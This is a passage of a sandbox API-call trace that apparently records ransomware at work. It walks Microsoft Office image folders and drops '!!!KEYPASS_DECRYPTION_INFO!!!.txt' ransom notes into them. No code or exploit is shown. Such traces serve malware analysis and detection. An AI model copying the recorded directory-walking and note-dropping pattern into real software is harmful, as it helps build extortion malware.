hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.147] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.scale-100.png") returned=".png" [0258.147] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.147] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.scale-140.png") returned=".png" [0258.148] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.148] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.scale-180.png") returned=".png" [0258.148] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.148] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.scale-80.png") returned=".png" [0258.148] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.148] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogo.contrast-black_scale-100.png") returned=".png" [0258.148] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.148] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogo.contrast-black_scale-140.png") returned=".png" [0258.148] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.148] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogo.contrast-black_scale-180.png") returned=".png" [0258.148] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.148] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogo.contrast-black_scale-80.png") returned=".png" [0258.148] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.148] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogo.contrast-white_scale-100.png") returned=".png" [0258.148] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.148] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogo.contrast-white_scale-140.png") returned=".png" [0258.148] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.148] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogo.contrast-white_scale-180.png") returned=".png" [0258.148] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.148] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogo.contrast-white_scale-80.png") returned=".png" [0258.148] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.148] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogo.scale-100.png") returned=".png" [0258.148] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.148] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogo.scale-140.png") returned=".png" [0258.148] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.148] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogo.scale-180.png") returned=".png" [0258.148] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.148] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogo.scale-80.png") returned=".png" [0258.148] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.148] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogoSmall.contrast-black_scale-100.png") returned=".png" [0258.148] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.148] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogoSmall.contrast-black_scale-140.png") returned=".png" [0258.148] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.149] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogoSmall.contrast-black_scale-180.png") returned=".png" [0258.149] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.149] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogoSmall.contrast-black_scale-80.png") returned=".png" [0258.149] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.149] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogoSmall.contrast-white_scale-100.png") returned=".png" [0258.149] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.149] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogoSmall.contrast-white_scale-140.png") returned=".png" [0258.149] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.149] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogoSmall.contrast-white_scale-180.png") returned=".png" [0258.149] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.163] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogoSmall.contrast-white_scale-80.png") returned=".png" [0258.163] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.163] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogoSmall.scale-100.png") returned=".png" [0258.163] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.163] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogoSmall.scale-140.png") returned=".png" [0258.163] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.163] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogoSmall.scale-180.png") returned=".png" [0258.163] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.163] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogoSmall.scale-80.png") returned=".png" [0258.163] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.163] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogo.contrast-black_scale-100.png") returned=".png" [0258.163] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.163] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogo.contrast-black_scale-140.png") returned=".png" [0258.163] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.163] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogo.contrast-black_scale-180.png") returned=".png" [0258.163] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.163] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogo.contrast-black_scale-80.png") returned=".png" [0258.163] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.163] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogo.contrast-white_scale-100.png") returned=".png" [0258.163] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.163] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogo.contrast-white_scale-140.png") returned=".png" [0258.163] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.163] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogo.contrast-white_scale-180.png") returned=".png" [0258.163] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.163] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogo.contrast-white_scale-80.png") returned=".png" [0258.163] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.163] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogo.scale-100.png") returned=".png" [0258.163] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.164] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogo.scale-140.png") returned=".png" [0258.164] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.164] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogo.scale-180.png") returned=".png" [0258.164] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.164] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogo.scale-80.png") returned=".png" [0258.164] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.164] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogoSmall.contrast-black_scale-100.png") returned=".png" [0258.164] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.164] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogoSmall.contrast-black_scale-140.png") returned=".png" [0258.164] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.164] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogoSmall.contrast-black_scale-180.png") returned=".png" [0258.164] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.164] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogoSmall.contrast-black_scale-80.png") returned=".png" [0258.164] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.164] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogoSmall.contrast-white_scale-100.png") returned=".png" [0258.164] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.164] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogoSmall.contrast-white_scale-140.png") returned=".png" [0258.164] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.164] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogoSmall.contrast-white_scale-180.png") returned=".png" [0258.164] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.168] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogoSmall.contrast-white_scale-80.png") returned=".png" [0258.168] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.168] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogoSmall.scale-100.png") returned=".png" [0258.168] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.168] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogoSmall.scale-140.png") returned=".png" [0258.168] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.168] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogoSmall.scale-180.png") returned=".png" [0258.168] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.168] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogoSmall.scale-80.png") returned=".png" [0258.168] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.168] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogo.contrast-black_scale-100.png") returned=".png" [0258.168] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.168] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogo.contrast-black_scale-140.png") returned=".png" [0258.168] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.168] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogo.contrast-black_scale-180.png") returned=".png" [0258.168] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.168] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogo.contrast-black_scale-80.png") returned=".png" [0258.168] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.168] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogo.contrast-white_scale-100.png") returned=".png" [0258.168] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.168] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogo.contrast-white_scale-140.png") returned=".png" [0258.169] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogo.contrast-white_scale-180.png") returned=".png" [0258.169] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogo.contrast-white_scale-80.png") returned=".png" [0258.169] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogo.scale-100.png") returned=".png" [0258.169] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogo.scale-140.png") returned=".png" [0258.169] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogo.scale-180.png") returned=".png" [0258.169] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogo.scale-80.png") returned=".png" [0258.169] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.contrast-black_scale-100.png") returned=".png" [0258.169] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.contrast-black_scale-140.png") returned=".png" [0258.169] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.contrast-black_scale-180.png") returned=".png" [0258.169] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.contrast-black_scale-80.png") returned=".png" [0258.169] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.contrast-white_scale-100.png") returned=".png" [0258.169] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.contrast-white_scale-140.png") returned=".png" [0258.169] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.170] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.contrast-white_scale-180.png") returned=".png" [0258.170] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.173] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.contrast-white_scale-80.png") returned=".png" [0258.173] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.173] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.scale-100.png") returned=".png" [0258.173] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.173] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.scale-140.png") returned=".png" [0258.173] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.173] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.scale-180.png") returned=".png" [0258.173] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.173] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.scale-80.png") returned=".png" [0258.173] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.173] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogo.contrast-black_scale-100.png") returned=".png" [0258.173] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.173] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogo.contrast-black_scale-140.png") returned=".png" [0258.173] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.173] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogo.contrast-black_scale-180.png") returned=".png" [0258.173] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.173] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogo.contrast-black_scale-80.png") returned=".png" [0258.173] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.173] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogo.contrast-white_scale-100.png") returned=".png" [0258.173] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.173] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogo.contrast-white_scale-140.png") returned=".png" [0258.173] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.173] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogo.contrast-white_scale-180.png") returned=".png" [0258.173] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogo.contrast-white_scale-80.png") returned=".png" [0258.174] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0258.174] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0258.174] GetLastError () returned 0x3f0 [0258.174] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0258.174] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0258.175] GetFileType (hFile=0xa88) returned 0x1 [0258.175] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0258.175] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0258.175] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0258.175] WriteFile (in: hFile=0xa88, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0258.176] WriteFile (in: hFile=0xa88, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0258.176] CloseHandle (hObject=0xa88) returned 1 [0258.176] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x3875fc0 [0258.176] FindNextFileW (in: hFindFile=0x3875fc0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.176] FindNextFileW (in: hFindFile=0x3875fc0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.176] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0258.176] FindNextFileW (in: hFindFile=0x3875fc0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.176] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\bundle.js") returned=".js" [0258.176] FindNextFileW (in: hFindFile=0x3875fc0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.176] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0258.176] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0258.176] GetLastError () returned 0x3f0 [0258.176] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0258.176] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0258.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lpc.win32\\images\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lpc.win32\\images\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, 